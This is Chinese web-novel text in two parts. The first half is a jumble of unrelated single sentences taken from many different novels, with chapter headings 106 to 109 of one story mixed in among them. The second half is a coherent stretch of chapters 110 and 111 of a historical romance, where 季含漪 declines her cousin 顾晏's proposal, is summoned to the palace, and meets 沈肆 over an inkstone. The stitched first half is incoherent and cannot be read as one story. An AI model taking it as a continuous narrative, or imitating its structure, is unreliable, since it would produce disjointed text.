他微叹口气,格格走后没两天,皇上就让他领了些高手出发,让他们务必先到广西地界,暗中刺探消息,务必保得格格平安。要不是他们在暗中帮手,国安那几个手下,还不知要出多少坏招。
这都四个多月了,身子已经藏不住,宫里头的人都知道乌云珠怀了身孕,不过她们知道的,就是皇贵妃真有福气,这才进宫不到三个月,就怀孕两个多月,而且胎儿长势还好,非常令人羡慕而已。
渐渐的,半空中的黑云被撕裂,出现一艘艘黑色狰狞恐怖的战舰。
“我,我哪里投怀送抱了,我才没有,才不是因为没有给你吃掉而委屈,都是你在胡说,我没有,就是没有。”花蝶摇着头,羞得满脸通红。
诸多爱好古物之人,诸多淘宝之人,造就了这别具一格的繁华,这种繁华不是人声鼎沸也不是霓虹闪烁,而是无形的繁华。
“德叔,怎么搞的?是不是遇见麻烦了?”住在村头的村民看见德叔身上血迹点点不由得大吃一惊,关切的问道。
今天他换成一身整洁的衣衫,将自己修饰的非常精神,好似要做什么庄重的仪式。
这里可是有G罗诶,这可是被誉为足球王子,刚刚在今年拿下了世界足球先生的足坛巨星,他们几个虽然不是专业的,但也是个个身体条件出类拔萃,属于顶级的业余球员。
却不想自己的手竟然直接从这云雾触手上面穿了过去,根本什么都摸不到。
因为墓葬一脉本来就人少,其jing通运用之人更是少,这一界首屈一指的能人当属‘观天之称的木恨天’。
显然,沈家肯定还有人藏在附近,观察着情况,说不定现在司空南的死讯已经传回沈家了。
“荣耀与光环回来的?我倒要听听你今天是如何说破大天的!”姬清嵘一副听你吹牛逼的语气。
“你不是有轻微洁癖的?”傅星星开始怀疑,这家伙是不是装的?
以前还可以寻海路而走,可自从龙国海军在海上打败了扶桑的援军之后,海路也被封锁。
温如许愣了两秒,反应过来江雪茹的意思,一时激动咳嗽起来,脖子以上肉眼可见的泛红。
第一卷 第106章 你小时候见过她
张氏抢着说这话,也不是帮着季含漪说话,她是不想因为季含漪的和离,影响到了自己女儿。
随即,当瞬秒结印而出的浮空阵,即刻立于徐良下坠不远方处时,借助旁侧地板残骸跃步移身的徐良,即刻轻松落身于自身真远力所结印而出的浮空阵之上。
来到神盟阵前百里,萧邕还是脸色不变,但手心已经冒汗。对面的武皇太多了!弓箭太多了!完全出乎原先的预料。
浑身衣物已然尽成黑灰残裂布条的奕澪,即刻面露淡然微笑的,凝望着仍紧握战镰在手的铃屋说道。
萧漠赞赏地看了他一眼,此人虽然人品有些问题,不过还是可堪一用的,先考察考察。
今天他正在荒郊野外歇歇脚,突然感觉到屁股底下有动静,他赶紧闪到一边。
所有的大臣都相互看看,以后都感到要离这个无赖远点,一句话不对,就把人的牙齿给打掉,还敢嚣张地说出灭了人家家族的事情。
在林中飞出万里后,萧邕开辟一个洞府,拿出玉床盘坐其上,抓住鸠博奇的脑袋搜起魂来。
贝雷帽眼前一黑虚弱的倒了下去,就在他即将倒在地上的时候,贝雷帽强烈的求胜欲望竟然让他本能的抬起了枪,朝着沈炼的车子开了一枪。
千鹤指着一旁的手下吩咐道,可偏偏好死不死的指的是沈炼,沈炼这下尴尬了,带人去抓自己?我到底是去呢?还是不去呢?
说者无意听者有心,很多人开始不再理会蓝贤,开始搜寻起王凌的踪影来。
旅途的奔波,白日的感念,再加上肚里包包时不时的胎动,这一刻。千悦的心是活了的,不得不说,一路的游历跟母亲的提点,多少在她心头还是激起了一些别样的涟漪,捧着水杯,她却也不免犹豫。
这些日子在医院我也是特别无聊,索性闲着没事就用手机查了查点微薄的格斗知识,虽不是很精通,但是事实表明至少还是有点用的。
就这样过了有一分钟,预料中的亲吻并没有落下,不过宋荣妍感觉到了傅尉衍身体上的变化,想到傅尉衍刚刚的一番话,宋荣妍抿了抿唇,迟疑地睁开眼睛,正要搂傅尉衍的脖子时,傅尉衍突然出手反抓住她。
关于这枚戒指,采月觉得裘岩完全是被无辜卷进来的。裘岩不问她自然也不会主动和裘岩去提她还戒指的事。现在当着一个名义上和一个实际上送戒指给她的人,她该如何回复欧阳晴才好呢?
被冷硬的吧台硌着,衣衫散乱,又没有支撑,两人的姿势更是怪异,再加上某人刻急切的攻击,千悦可谓水深火热,狼狈至极。
又吵了一架,几天没回家,殷以霆心里真是窝火坏了。原本是想要和好的,没想到现在弄得骑虎难下,他连家都回不去了。
时间真是一股脑的撞到一块,上午高层领导要下来视察,提供指导意见,给高新企业助力;然而这一天也是孟谦毕业的日子,得回校领证,晚上还有散伙宴,日程排得很满。
战凛却在路过纪哲谦那张桌子的时候拽住了郁梓,在他的对面坐下,郁梓毫无知觉地背对着纪哲谦,两人都不知道此刻彼此的距离是那么的近。
第一卷 第107章 我身边是有猛兽么?
雪晨光说到做到,不等他们求饶,直接出手灭了三人,随之一道火焰打出,将三人烧的干干净净。
夏新依稀记得当初杀那个罪死歌的时候,在自己暴走的时候,有两个升龙的人下来,被自己秒了。
接下来的两天,大家伙都没有怎么出门,养精蓄锐,一切就等野狼特种部队的消息。
良久,才有一阵轻微的脚步声响起,惊动了这如画般的场景,带起丝丝涟漪。
楚南在公孙语嫣提问之前就已经开始准备突围,所以早就已经默默在吸收着神灵石的能量,催动着体内经脉中凝聚的内劲,暗中不停运转着绝学,等待着最后的时机到来。
夏新一直等舒月舞睡了之后,才把她横抱起来,抱进了病房躺下。
神药他们自然知道,可是妖族从来就不擅长炼制神药,他们寻找的神药都是那种独立的天地至宝,能直接服用的高阶神药。
杨波感觉刀下的形象,有了更为生动的表达,他甚至不用在乎那些技艺的表现,只觉得心有所达,刻刀便随之而达。
“好了,那大家都散了吧,回去休息一下,现在不知道航班有没有延误?”罗耀华挥了挥手道。
整个会议室静悄悄的,在几人低头交谈几句后,就没有人再说话。
网上讨论游戏的帖子很多,但是多半零零碎碎的,并不能形成完整的攻略。这也好理解,因为大家大多都沉迷游戏,最多就是趁着空闲的时候上网说两句,暂时还没有心思来总结和发布完整的攻略。
接下来殷怜就呆在家里,名义上是跟兄弟俩一起玩游戏,其实却一直在偷偷研究那图腾。结果研究一天也没研究出什么内容。
“哟,二弟在这呢,害得大哥一顿好找!”突然出声,离月转头看到了,一袭紫色的锦袍。
忽然间一股极度危险的感觉在他的脑海里蔓延开来,他瞳孔微缩,半透明的长剑上最后一丝蓝光缓缓收敛了。
云凡闻言一怔,然后便是想到了什么,看了一眼那些已经消失了不见的不知名花卉,又跑到池塘边,果然,连里面的锦鲤也不见了。
只能说一切都是在冥冥中早已注定好的,周航予听了陶修的话后,沉默了半响,最终决定尊重陶修的决定。
“没有了那些古怪的雾气,我倒是要看看你如何跟我斗!”谢疯子的手掌紧紧地抓着云凡的另一只手。
顾轻狂揽着陶修的肩膀,用伞把他遮得严严实实,抱着他缓缓往车子停放的方向走去。
半透明的长剑发出凝实的剑芒,无数冰晶在地面上生长,寒气逼人。那些剑芒和电弧相撞,爆裂开来,雷霆之力扩散,地面上的冰晶纷纷破碎。
在大雪纷飞的那天,项珺岚心碎,黯然流泪,但神皇还是漠然离开,头也不回,他的心被冰雪还冷。
kris没有发表任何感言,这丫头一向很聪明,不会这么容易就找到她,难道是?
此外还需要几个男生,不过倒也是不重要了,因为那些都是配角人物,至于具体的节目表演还不着急,他还需要好好的构思一二。
老子只不过是质疑你两句,你窦大仙竟然还给寡人上起政治课来了。
就算蛇怪的双目依然剧痛无比,但局部的强烈瘙痒感还是令它全身无力地松弛了下来,咧开嘴仿佛在大笑。
只见二人相见后痛哭流涕,抱在一团。十七年未见的老友,都成了鬓发斑白的老人。人生如梦,岁月如梭,转眼间都成了躯壳佝偻的老人,怎么能不让人伤心?
双方就这样相互对视、警惕着,如果一旦交火的话,必将十分惨烈。
因此恰如其分是很重要的,能不能掌握住那个点,便能够看出你是不是具有当演员的潜质。
什么被狗咬了还要再咬回去么?那都是弱者说的话。她不仅要咬回去,还要咬爆他们的狗头。
身为黑魔头的魂器之一,日记本里德尔已经现出了原形……那什么,真身?
只是距离上回找到九龙珠,已经又过去了好久了,叶楚都记不清了,少了也有千八百年了,可能还不止了一千多年了。
但是话才说完,他的身体竟然诡异地浮空起来,在魔神们惊愕的眼神中,浑身上下透露着狂暴气息的索斯狠狠一拳打在贝利亚的腹部。
“本座不是鄙视你,而是替你赶到幸运,如果换做我是当时的族长绝对不会放任你这样的人活着,不过你现在的情况也好不到哪儿去。”叶楚伤口散盐道。
四十万人的兵卒数量庞大,要想全部就位自然需要些时间,但是随着阵型的开始铺展,一股汪洋般的大势悄然凝聚,就像是无数的河流正朝着一个区域汇聚,要积蓄成一片百里汪洋。
第一卷 第108章 他仅差一点就吻上了她
现在每日甄息送天相去私塾上学,果然陈唐发现天相性格活跃了很多,也认识了一些同学,让陈唐心里放心不少,界灵和人一样,孤僻久了性格恐怕会扭曲。
李宛芳看稿子的速度越来越慢,几乎到最后都是一字一字的看了起来,根本不想错过哪怕一个字。
他要是错过了,恐怕无数野心家、无数只会白日做梦的肥宅屌丝会指着他的鼻子破口大骂:你个渣渣。。。
这时陈唐身体已经转了一圈,第三掌排云倒海击了出去,陈鸿飞连续使了两掌将此招接了下来,下风态势尽显。
但就在它即将倒地的瞬间,宝贝龙黑色的眼眸之中闪过一丝狠色,右腿猛的一瞪,它原本正在向前倾斜的身子顿时如同一枚被弹射而出的子弹一般,猛的撞向了对面的利欧路!。
这几日来,叶清绾不仅要给江无眠施针和配置解药外,还要给苏筱蔷等人配置解药,每天都很忙碌,有的时候都见不到人影。
她能感觉到,这男人身上的修为,也是用旁的方法提升上来的,可不是什么好东西。
在古辰镇通往橙华市的路上,白陌虽然特意放缓了脚步,但按照导航者上显示的,此时距离橙华市已经不远了。
无数念头纷至沓来,秦阳想到了家人,想到了一起在秋名山飙车的二代们,想到了一起玩老汉推车的嫩模。。。
不仅加大了对邵氏电影的投资,更是将几十年不变的邵氏院线花重金给翻新了一遍,足以看得出“廉颇”虽老,但依旧雄心壮志。
“好了,你刚刚亲了他,现在也要亲我。”某人抄着衣袋,敛下眸子讲道。
但是,想到梁晗导演,在冷风里等了那么久,不过就是为了一声问候,换一份对朋友的安心。
顿时,刚刚还在黑子和李忠义手中的飞剑,瞬间落到了老铁匠的手中。
如今在石室之中,就只剩下时光神殿的宫主以及四位外表不过三四十岁,但是其气势却流露出老迈不堪的气息,显然这四人皆是寿命无多的老者。
此刻听到那些士卒和秦墨等人也在那儿栽赃嫁祸昆仑派,崂山众人自然也乐见其成,个个开心不已。
苏微冉这一睡,就睡过了预备铃。就连正式的上课铃响都没听到。
湘族祖地在深山老林里,自给自足,就连衣裳都是自己养桑蚕自己织布,又怎会比得上外头的风光?
“挺好的,很符合我心目中的肖天。”李梅满意地点头,对着徐宇宙竖起两个大拇指。
“梁云杰?您以前和梁云杰接触,就没听他提到过吗?”韩江问。
上官飞燕看到魏生身上的反应之后,也对自己有那莫大的魅力而感到开心,自动的把自己的香唇闭着眼睛,送到了魏生的唇边,让他xi允自己的香精,fu慰自己的柔舌。
摆了摆手,桑嫣一脸厌烦的转过头去,开始仔细考虑吸收了这九颗世界本源,洛雨的实力究竟会提升多大。
“谢谢老先生夸奖了。”巴尔笑了笑,不过倒是没有直接离开这里,而是看起了其他的矿石。
赵建波还想大喊救命的,但是这些话还没等真的说出口呢,就已经被墨衣吞噬了。
奥斯巴·格林尼达抓住了机会,连续的攻击再度将魔兽击飞到了空中。
不错,就在红衣卫刚隐藏好,狼牙军团的人后脚就急匆匆的冲了出来,红月直接下令,双方人马杀了起来。
乌利尔目瞪口呆的望着面前六面巨大的晶体墙,从上面所发出的强大寒冷气息,让他意识到,这是一个强大的冰系魔法造成的。
林风嘴角的笑意越发浓烈,余光看着龙三根在身后闪烁的一丝白光,只是当龙三根的手伸在他背后是,原本还停留在原地的林风瞬间高高跳起。
东方晓陷入到了沉思之中,这少年所说的确实也有几分道理,根据自己一行人得到的消息,每个霸王蚁的巢穴都有着百只霸王蚁的守护,虽然这些霸王蚁的实力并非很强,但是数量众多,也会对自己影响人造成一些麻烦。
“哼!还能说什么!不要问我有关于他的事,好了,我累了,我要回去休息了。”魔手翻着白眼,十分的不太想要回答妹妹的问题。
所以,他运气好,发现了天宝这个顽童,决定今天带回来给武极看一看。
是郑媛媛的声音,周泽楷过去打开门,看到的就是郑媛媛激动的模样,以及她那通红的眼睛,可以知道她此时的心情多么兴奋。
坐在摇椅上,长着鹰勾鼻的中年男子手中夹着一颗棋子,猛的落子,定格在棋盘上,嘴角发出戏谑之意。
就是当初在巴蜀盛宴,自己为云姐出头时,过来帮自己的汇川黑子和冰室老鹰。
所以周泽楷心情不错, 看时间都八点半了,交代了酒店的厨师再准备一份儿早餐,这才来到了唐冰玉的房间门口,按一下门铃,等着唐冰玉出来。
而晏长澜同样消耗远胜之前,不过同一时刻,他的身后倏地现出数道风雷之光,席卷呼啸,奔腾不休,更有两道剑影自其眸中闪现,爆射两道寒芒。
周泽楷今天穿的是自己公司设计出来的西装,看起来更是一副成功人士的模样,加上他那帅气的面孔,更是让人忍不住多看两眼。
陆夕宁打量着这个房间,是自己喜欢的装修,也有自己喜欢的栀子花。
“唉,还是瞒不过冷兄,我本是北天城人士,卫家卫辰,字少保。” 卫辰神色平淡道。
“哼,一个大男人,磨磨蹭蹭的。”马茵瞬间开启嘲讽模式,绝对不放过打击落枫的机会。
“伊剑锋,我支持你,你想怎么做就放心的去做吧!你有什么想法也不用跟我们说,就是说了我们也不懂。你放开手脚大胆的去做吧!”那林青听了伊剑锋的计划顿时不由道。
第一卷 第109章 嫁给你二表哥呢
顾氏听了季含漪的话愣愣的落泪,泪眼婆娑里看着季含漪的面容,她哭的哽咽,伸手去捧季含漪的脸颊,眨眼间仿佛看到从前那个被她娇养的女儿。
在这个过程中,有很多蝙蝠骑兵被魔物垂死的反击打落马,然后被无数只马蹄踩成肉酱。也有很多第一波进攻中被迫与魔物肉搏的骑兵被同伴误伤,同样长眠在这块陌生的土地上……但是他们并没有怨言。
唐若云实在是有些不敢相信自己的眼睛,不由得将合同递给了身边的柳向南,柳向南细看一番,也是大为吃惊不已。
张巍拐了一段路,到一条狭长通道,这里距离他回上一层大概是100米。而要去怪物老巢,大概需要20里。不过没关系,有捷径。
这是一间充满了生活气息的起居室,四周贴墙摆放着精致优雅的精灵家具,正中间是一套沙发,茶几还摆着一只杯子和一个罐方糖。只不过因为年代久远,杯子里的咖啡早已干涸,而方糖,也已经变成了棕红色的不明硬块。
“这些钱当然不会让伟大的父执大人您动心,不过,这些钱和职务背后是永久的安全,即是安东尼乌斯家族的,也是埃米利乌斯家族的,也是尤里乌斯家族的。”利奥继续着说辞。
齐国荣单臂抓着方向盘,另一只胳膊努力的伸向车外,眼中的发出鼓励和希望的光芒。强子闭起眼睛,猫起腰奋力一跃,只感觉扑哧一声,一股液体已经溅上他的脸,一只粗壮有力的大手已经将他揽入怀中。
“先别说话,让我把这一集看完。”中年人抬起手,阻止了高登说话的打算。
二十分钟后,伊莎贝拉拿着黛西手腕上的玉镯,一脸疲惫的走了出来。
就在此刻,那怪石突然化为赤色,呼地一声,暴长了数倍,一股澎湃的能量随之而出。
熊坤未觉查到韩风脸上的变化,而是左手一探,化掌为爪,在鳄腹胸前一探,一股强大的吸力立即笼罩鳄腹。
同时徐成羽也睁开了眼睛,正好对上了陈美琳那一对关怀的眼眸,一张精致到了极致的脸庞,徐成羽忍不住的伸手,一把揽住了陈美琳的腰肢。
尖锐的爪劲直接抓到了剑气,剑气一点抵抗力都没有,瞬间就被抓碎,剑气泯灭,同时也抓到了非攻上,锁住了徐成羽下斩的举动。
圣首峰上的太上长老们,同样想要用生机延续生命,可拥有生机的宝物,又岂是那么容易得到的?
修为的达到合体期的修行者每一个都是身经百战,同等修为之下就算不敌也不会那么容易死掉。可这个名叫高数的鬼族高手竟然就这么莫名其妙的死了,让王炎一口气别在这里吐不出也咽不下去。
“这恐怕不行,”袁飞在旁边微笑着解释道:部队有规定、在没有任务的时候不能骑着巨狼随意在城镇里瞎逛以免引起恐慌,但在城外可以随时奔腾。
“请问抽签在哪里抽签的?”曹斌望了一圈,只有最里面多了一个舞台,舞台后面是一个超级大的显示器的。
黄毛也是好不容易捡到这个差事,而且那些人都是大哥的老人了,自己如今混了一个脸熟,前途也就遥遥可期了,特别是入了那几位的眼中,自己立马就升了。
第110章 皇后娘娘邀请入宫,碰到沈肆
季含漪稍微有些诧异的看向顾晏。
她有些想不明白顾晏为什么会对外祖母说那样的话。
是因为想要照顾她还是因为旁的,季含漪也不能与晏表哥直接问出来,问了也增纠葛,总之她也是下定决心就要离开的。
她离开也不是因为舅母的那些话。
她离开是早就打算好的。
她忙朝着顾晏摇头道:“晏表哥别多想,我从来没有计较过舅母的那些话。”
说着季含漪抬头看向顾晏:“其实在谢家的时候,我就已经打算带着母亲离开京城了。”
顾晏低头紧紧看着季含漪,手负在身后的手捏紧,又低声道:“我可以照顾表妹的。”
“我在国子监有了许多结交,王司业也很看好我,且我已经打算好了,我并不想要一直呆在国子监,明年我可以以监生的身份参加顺天府的乡试,要是乡试不中,王司业也会举荐我去六部拔历,只要考核的成绩好,我就能留在六部。”
说着顾晏稍微有些急切的看着季含漪:“漪妹妹,我虽比不得谢玉恒的家世,比不得他如今官途,但是我今后会好好筹谋,我会尽量让漪妹妹嫁给我不受委屈。”
“我也有能力护着漪妹妹的。”
顾晏说话的时候往前走了一步,深黑的眼眸在夜色里格外暗沉幽深,季含漪看着这双不同往日的眸子,不由得往后退了一步。
她也不知晓为什么,为什么会在这一刻看着表哥的眼眸会有一些害怕。
周遭静悄悄的,夜色将两人包裹,冷风簌簌吹来,季含漪看着浅浅往自己压下身靠近过来的顾晏,这一刻的顾晏在她眼里甚至有一些陌生。
她强压着心里的心绪对着顾晏小声道:“表哥,你能娶更好的女子的,大舅母也希望你能娶更好的女子。”
“二叔那里一切都安排好了,我过两日要走的决定不会变的。”
顾晏怔了怔。
他失神的看着季含漪在他身前逃避的姿态,她的身子往后,避开他的靠近。
她那双柔软如水的漂亮眸子,此刻竟然闪烁着对他的害怕。
他自小就护着和疼爱的漪妹妹,竟然会害怕他。
顾晏的肩膀颤了颤,他往后退了一步,他深吸一口气,脸上那股急切的情绪散去,又低低看着季含漪,带了几分苦笑:“是我唐突表妹了。”
“夜里天冷,我记得漪妹妹自小就怕冷的,是我不该留漪妹妹在这里说话。”
说着顾晏让开在路边一侧,低声道:“漪妹妹,快回去吧。”
季含漪怔怔看着顾晏,此刻顾晏又如之前眉眼温和,那脸上的受伤与苦笑,叫她觉得心里也难受了几分。
她不该害怕顾晏的。
其实顾晏小时候虽说喜欢逗她,但是各种各样新奇好玩的东西每每也总留给她,还会跑很远给他捉飞走的蝴蝶,也会在她摔了的时候背着她去找母亲。
她心生出一股愧疚难受,又走到顾晏的面前小声道:“晏表哥很好,一直都很好。”
“我也明白晏表哥是想照顾我,只是我现在想过自在的日子。”
说着季含漪低下了头:“晏表哥,对不起。”
她也还有一句话没说,她不敢再成亲了。
夜色里季含漪低垂的脸庞如天上的月光,白净里透出光来,樱唇雪肤在朦胧纱灯下如烟如雾,娇小玲珑的人,叫人想立刻就在这一刻将她紧拢进怀里。
顾晏收在身后的手指隐隐发颤,手背上青筋冒出来,面上却带着一股同从前一样宽让温和的笑意:“漪妹妹,我没有怪你。”
“早些去休息吧。”
季含漪抬头,见着的是顾晏又如初温和的眸子,她终于放下心来,轻轻点了点头,这才转身。
顾晏站在原地静静目送着季含漪的背影,一直到那道背影消失不见,他才抿紧唇转身。
等回了屋子,容春去重新给季含漪换手炉回来的时候,忍不住说:“奴婢觉得二爷挺好的,二爷彬彬有礼,脾气又好,总之定然比谢大爷好了不少,姑娘为什么不留下呢?”
“那样也免了路途遥远去蔚县奔波了,且也不知晓去了蔚县到底如何呢。”
季含漪坐在塌上,接过了手炉放在怀里,又去拿了毛笔蘸了墨,烛光映亮她一边脸庞,素发随着她的低头,有几缕落在她的脸颊边,她一边细心在画纸上落笔,一边低声道:“晏表哥的确很好,但我真嫁给了晏表哥,大舅母会怎么样?我就真的安稳了?”
容春愣了愣,回话到:“可是老太太不是说二爷能说服大夫人么?”
季含漪含了抹笑看向容春:“或许晏表哥一时能在表面上说服,可是大舅母心里就真的这么想么,真的这么愿意么?”
说着季含漪的目光重新落到画纸上,声音有些轻:“表哥是很好的人,他将来也有很好的前程,谢家估计是有些恨我的,我嫁给了表哥,谢玉恒说不定要报复在表哥身上。”
“我不愿这样。”
容春顿了顿,想起那天在都察院,谢大爷和谢大夫人脸上的表情,说不定真的会报复。
或许真如姑娘说的,离开京城才是最好的。
第二日季含漪起身时,她眼睛眯着有些没精神,任由身后的容春给她梳发。
外头进来一个小丫头,手里拿着几个盒子进来,进来就与坐在绣墩上的季含漪含笑道:“这是二爷一大早送来给夫人送来的,二爷也是有心了,时不时的就送来一盒子,可不便宜。”
季含漪一顿,眯着昏昏欲睡的眼睛这才睁开往旁边看去,只见丫头手上捧着一个匣子,她将匣子打开,里头是上好的松茸。
旁边丫头的声音响起:“二爷说夫人现在需要补着身子,说从前夫人喜欢吃松茸,让我们熬来给夫人吃,不用省着。”
季含漪听到这里,眼神一暗,知晓晏表哥一向好,原一直也这般照顾她的母亲。
又想起晏表哥昨夜与她说的那些话,其实也是分外诚恳的。
只是她从来也没有想过与晏表
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哥会成为夫妻,又觉得那送来的松茸叫她心里沉甸甸的。
早上季含漪先看过了母亲,才又往外祖母那儿去。
路上季含漪想着,顾晏为了她母亲也破费了些,她总不能什么也不还就受了这好处,思量着也给晏表哥回一件礼回去。
又况且后日就要走了,待会儿从外祖母那儿出来,就让丫头先收拾着东西,她再上街一趟,先去安排了铺子的事情,再去为晏表哥看看送一件什么文房。
只是算着日子,事情紧倒是紧了些。
不过她这两日一直都在收拾着东西,其实也没有太多要带走的,路上清简为好,能不带走的她也没打算带走。
今日上午没在如之前冷的时候那般阴沉沉的,光线明朗了些,虽说还是冷的,好在季含漪还有件银鼠**斗篷,又揣着手炉,身上倒是还暖。
去的时候已经不早了,半上午的时候,季含漪本是想着避开大舅母的,她也知晓大舅母不怎么想见着她,便错开了时间来,只是没想到,去的时候大舅母,二舅母,大表嫂,还有三姑娘四姑娘,府里的女眷几乎都在外祖母这里。
顾老太太一见着季含漪,脸上立时带了笑,对着季含漪招手道:“正打算叫人去叫你过来呢,你来的也正好。”
季含漪跨进门槛,先与长辈福了礼,才站在中间朝着顾老太太问:“是何事?”
这会儿季含漪也察觉到屋子里的人看她的眼神里有些意味不明的,特别是大舅母看在她身上的神情,带着一股说不透的探究。
顾老太太叫季含漪先去一边坐着,等她坐下后才朝着季含漪含笑道:“今早宫里来人了,传了皇后娘娘的话,让你明日与宛云和你大舅母一起进宫陪皇后娘娘说话呢。”
季含漪本是去接茶水的手指微微一顿,心思翻涌,若是皇后娘娘要见三妹妹,大抵也是说得过去的,毕竟沈老夫人看起来也看中三妹妹。
但皇后娘娘还叫了她一起进宫,她却想不明白。
她抬头,一双眼眸往外祖母看去:“皇后娘娘为何会邀我也去?”
顾老太太问季含漪:“我也正想问你呢,从前你去沈家的时候,与皇后娘娘可有过碰面?”
一双双探究好奇的目光纷纷往季含漪身上看过来,季含漪如实答话:“从前没怎么见过皇后娘娘的。”
季含漪说的是实话,那时候皇后娘娘已经是太子妃,她也不可能会常见到,即便见到,也只是跟随母亲在宴会上见过。
顾老太太听了季含漪的话便点点头:“也无妨的,皇后娘娘既叫你一起去,大抵也是有些原因的,你明日便一起去吧。”
顾老太太的话说完,坐在季含漪身边的顾宛云忽然挽住了她的手,小声的含笑道:“我还没进过宫,若是有姐姐陪在身边,我也不害怕紧张了。”
季含漪安慰道:“你别担心,皇后娘娘的性子很温和的。”
顾宛云便问季含漪:“那你进过宫么?皇宫里又有什么规矩”
第111章 沈肆吃醋
季含漪顾婉云这么问,便如实点头,太后娘娘的千秋宴,父亲带她去过,父亲当时在朝中的官职不低,母亲也能跟着进宫。
不过现在想起来也好似是久远的事情了,她又小声道:“宫里的规矩是多,不过只要我们凭着从前的规矩礼仪不出错,便没什么的。”
“如今皇上也是宽仁的,别太过紧张了。”
顾宛云便点点头,又挽紧了季含漪的袖子:“明日姐姐一定要陪在我身边,姐姐在我身边,我便不紧张了。”
季含漪笑:“放心吧。”
临到散去时,顾宛云挽着季含漪的手,要一起回她的院子说话,季含漪看着顾婉云欲言又止的,从刚才出来就小心翼翼问关于沈肆的事情。
问他是不是平日里就那般冷淡。
问他从前身边有没有过其他女子。
旁敲侧击的打听,眉眼里染着娇羞,脸庞上更是带了红晕。
其实季含漪虽说从前小时候与沈肆见过好几次,但是对于沈肆的了解当真也知之甚少,关于沈肆,她当真也没有可以说给顾宛云的。
但是她也明白顾宛云想要打听也是情理之中。
上回沈老夫人才见了她,接着又是皇后娘娘召见,或许有些许深意。
难道沈家真的相中了三妹妹么,又想起沈肆说对三妹妹无意的话,看着顾婉云期盼羞涩的神情,她一时心里情绪复杂。
她正想要开口的时候,又见着大舅母往这边过来。
只见大舅母一过来就拉住了顾宛云的手,皱着眉道:“你还有闲心说话,明日就要进宫见皇后娘娘,还不想着怎么好好收拾收拾?”
“我托了人,说是从前宫里出来的老人,听说是娘娘身边的人,你这会儿与我去见见,让她教教规矩,别明日见了皇后娘娘失了礼。”
“要见她一面可不容易,一百两呢!”
顾宛云本来还想与季含漪再多说几句话,只是却被张氏用力的拉走,季含漪站在原地瞧着大舅母这般着急上心的模样,默默回过了头。
身边容春忍不住小声道:“现在瞧着,好似三姑娘真被沈家相中了,可我就想不明白,怎么就忽然相中了三姑娘呢?”
季含漪摇摇头,她也没想明白,并且似乎也不是沈肆的意思。
但这些她也没必要想,又让容春跟着她出去一趟,今日把事情都做好,明日见完了皇后娘娘,后日一大早就可以走了。
她本来也打算后日走的。
只是季含漪没想到的是,她去给表哥买砚台的时候,会在铺子里碰到沈肆。
季含漪上午去了铺子,下午去找了牙人一趟,将铺子转卖委托好了,才往文源斋去选砚台。
彼时容春正指着一方被放在匣子里的紫石砚台小声道:“这个看着好看,应该要很多银子吧?”
季含漪拿出来在手里看了看,指甲轻叩,声音沉实如木,能看出是端溪石,一方极好的砚。
但她摇头,轻声道:“银子倒是还好说,送给表哥的用的砚台必得要上好砚台,这个还不够好。”
季含漪常画丹青,从前父亲也喜收藏名砚,她对砚台倒是有些心得,将目光放在了旁边的一方砚上。
砚上隐隐透出青蓝色的斑纹,是青花砚,端砚中的上品,发墨如油,也不伤笔,能在这里找到这样的好砚台,实不容易。
季含漪欣喜的正要伸手去拿的时候,忽一只修长的手指从身后越过,竟直接将那砚台拿走。
季含漪一愣,转过头去,竟看到是沈肆站在自己身后的。
此刻沈肆一袭金纹蓝衣,手上拿着她看中的那方砚,正低头看她,眼里沉黑,脸上没有表情,只依旧清冷矜贵。
季含漪没想到会在这里碰见沈肆,忙福身问安。
沈肆看了眼手上的砚台,又看向帷帽白纱下季含漪的脸庞,即便隔着薄纱,她身上那股如雾如水的娇软,叫沈肆一眼就能够体会到她身上的柔若无骨。
他眼里情绪不动声色的微动,又问:“给你表哥买的砚台?”
季含漪想沈肆刚才许是听到她与容春的话了,不禁又想沈肆听了多久,她可还说了什么?脑中全是胡思乱想,连同回话的时候都有些漫不经心,只是嗯了一声。
沈肆听着季含漪这像是随意又天经地义的声音,想到她刚才还说着银子不要紧,要给她表哥最好的话。
她从谢家出来,不拿一物,身上穿着旧衣,上回见她也未佩戴首饰,她却说银子不要紧。
她就这么在意她的那位表哥么。
又想起那日在都察院门口,她也是扶着她表哥的手上了马车的。
沈肆深深看着季含漪。
季含漪被沈肆这目光看得莫名有些心慌,他身量颀长,通身有股压迫人的威严,脸上又总是不苟言笑,眼神还锐利捉摸不透,在他面前总觉得是自己做了什么亏心事。
又想着难不成沈肆也看上了这方砚台,想要询问她的意思么。
她正想要说要是沈肆看上他就拿去,她重新再选就是,却又听沈肆再开口:“我正缺一方砚台,能送我么?”
季含漪一愣,有些没缓过来,差点以为自己听错了。
反应过来后她想,沈肆那书房里比这好的砚台不知多少,什么上好的兆河砚鸭头绿,什么易水砚,都是比这好的。
按着沈肆从前的眼光,他是瞧不上这样的砚的。
季含漪手上的银子有限,也没去上好的地方,就想着在这里看不能不能找个好的,这铺里的砚台她全看了,也唯有这一个好些,她稍微有些怔忪,不明白沈肆为什么会看上这个砚台。
只是抬头时,却对上沈肆淡淡看来,却好似有几分嘲弄的神情,那神情便好似她舍不得一般。
季含漪心里慌了下,沈肆对她的恩情千万般大,她只是觉得沈肆不该会看上才犹豫的,不想沈肆误会,当下也忙道:“沈大人既喜欢,我自然也希望能够送给大人。”
说着季含漪忙要去结账。
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>只是她才走了两步,手腕却被握住,她诧异回头,目光先落到沈肆握在她手腕上的手指,又抬头看向沈肆。
沈肆的手微凉,落在皮肤上却泛起了丝丝战栗,叫她心里头跟着涌出难以言喻的心跳来。
她恍恍然的想,沈肆自来端方,他会觉得这样不妥么?还是这一握本就没有任何意义。
她不禁又想起那天在章先生那里,他也拉住了自己的手。
心跳如鼓间,头顶又传来沈肆低沉的声音:“你将这个送给我,你的表哥呢?”
“你不给你表哥买了?”
沈肆说话的时候手指已经松开,季含漪强压着心里的乱跳,又十分妥帖的回话:“沈大人喜欢才最要紧的,表哥那里我重新选便是。”
沈肆幽深的眼神看着季含漪,那张仰起来的面容如春水,唇红齿白,细眉弯弯,脸上满是真诚。
他刚才那一刻升起的嫉妒忽的停坠下去,她口中的表哥,或许在她心里也不是多么要紧。
他眼里的神色渐渐一寸寸的软,难得的含了一丝笑意。
季含漪看着沈肆这丝笑,愣愣的看得入神,她几乎没怎么见着沈肆笑过。
自小看他都是凉薄冷淡的,如今为了这不算名贵的一方砚台他却笑了,她都看得失神。
本就冷清疏离的面容,含了笑意的时候看起来竟这般好看温和,连那眉目间的冷淡都少了好些。
他真的这么喜欢这个砚台么。
